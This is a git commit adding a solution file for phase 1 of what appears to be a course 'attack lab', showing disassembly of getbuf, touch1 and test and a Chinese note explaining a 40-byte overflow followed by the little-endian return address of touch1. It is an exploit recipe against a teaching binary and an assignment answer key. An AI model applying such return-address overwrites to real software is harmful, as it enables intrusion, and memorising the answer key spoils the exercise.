From ee7133828c7c60340b81301e27a8e1f4d486c651 Mon Sep 17 00:00:00 2001
From: ov-4 <hausemasterstream@gmail.com>
Date: Sun, 17 May 2026 07:26:51 +0000
Subject: phase 1

---
 attack/solution.md | 40 ++++++++++++++++++++++++++++++++++++++++
 1 file changed, 40 insertions(+)
 create mode 100644 attack/solution.md

(limited to 'attack/solution.md')

diff --git a/attack/solution.md b/attack/solution.md
new file mode 100644
index 0000000..dc71b37
--- /dev/null
+++ b/attack/solution.md
@@ -0,0 +1,40 @@
+# CTARGET
+
+## Phase 1
+
+```asm
+00000000004017c0 <touch1>:
+  4017c0:	48 83 ec 08          	sub    $0x8,%rsp
+  4017c4:	c7 05 0e 2d 20 00 01 	movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
+  4017cb:	00 00 00 
+  4017ce:	bf c5 30 40 00       	mov    $0x4030c5,%edi
+  4017d3:	e8 e8 f4 ff ff       	call   400cc0 <puts@plt>
+  4017d8:	bf 01 00 00 00       	mov    $0x1,%edi
+  4017dd:	e8 ab 04 00 00       	call   401c8d <validate>
+  4017e2:	bf 00 00 00 00       	mov    $0x0,%edi
+  4017e7:	e8 54 f6 ff ff       	call   400e40 <exit@plt>
+
+0000000000401968 <test>:
+  401968:	48 83 ec 08          	sub    $0x8,%rsp
+  40196c:	b8 00 00 00 00       	mov    $0x0,%eax
+  401971:	e8 32 fe ff ff       	call   4017a8 <getbuf>
+  401976:	89 c2                	mov    %eax,%edx
+  401978:	be 88 31 40 00       	mov    $0x403188,%esi
+  40197d:	bf 01 00 00 00       	mov    $0x1,%edi
+  401982:	b8 00 00 00 00       	mov    $0x0,%eax
+  401987:	e8 64 f4 ff ff       	call   400df0 <__printf_chk@plt>
+  40198c:	48 83 c4 08          	add    $0x8,%rsp
+  401990:	c3                   	ret
+
+00000000004017a8 <getbuf>:
+  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
+  4017ac:	48 89 e7             	mov    %rsp,%rdi
+  4017af:	e8 8c 02 00 00       	call   401a40 <Gets>
+  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
+  4017b9:	48 83 c4 28          	add    $0x28,%rsp
+  4017bd:	c3                   	ret
+```
+
+很明显，getbuf只有0x28就是40的缓冲区，那只要40个垃圾数据+返回地址就行了
+
+NB. 小段序，所以返回地址要倒着写 ie. `c0 17 40 00 00 00 00 00`
-- 
cgit v1.3.1-4-g156e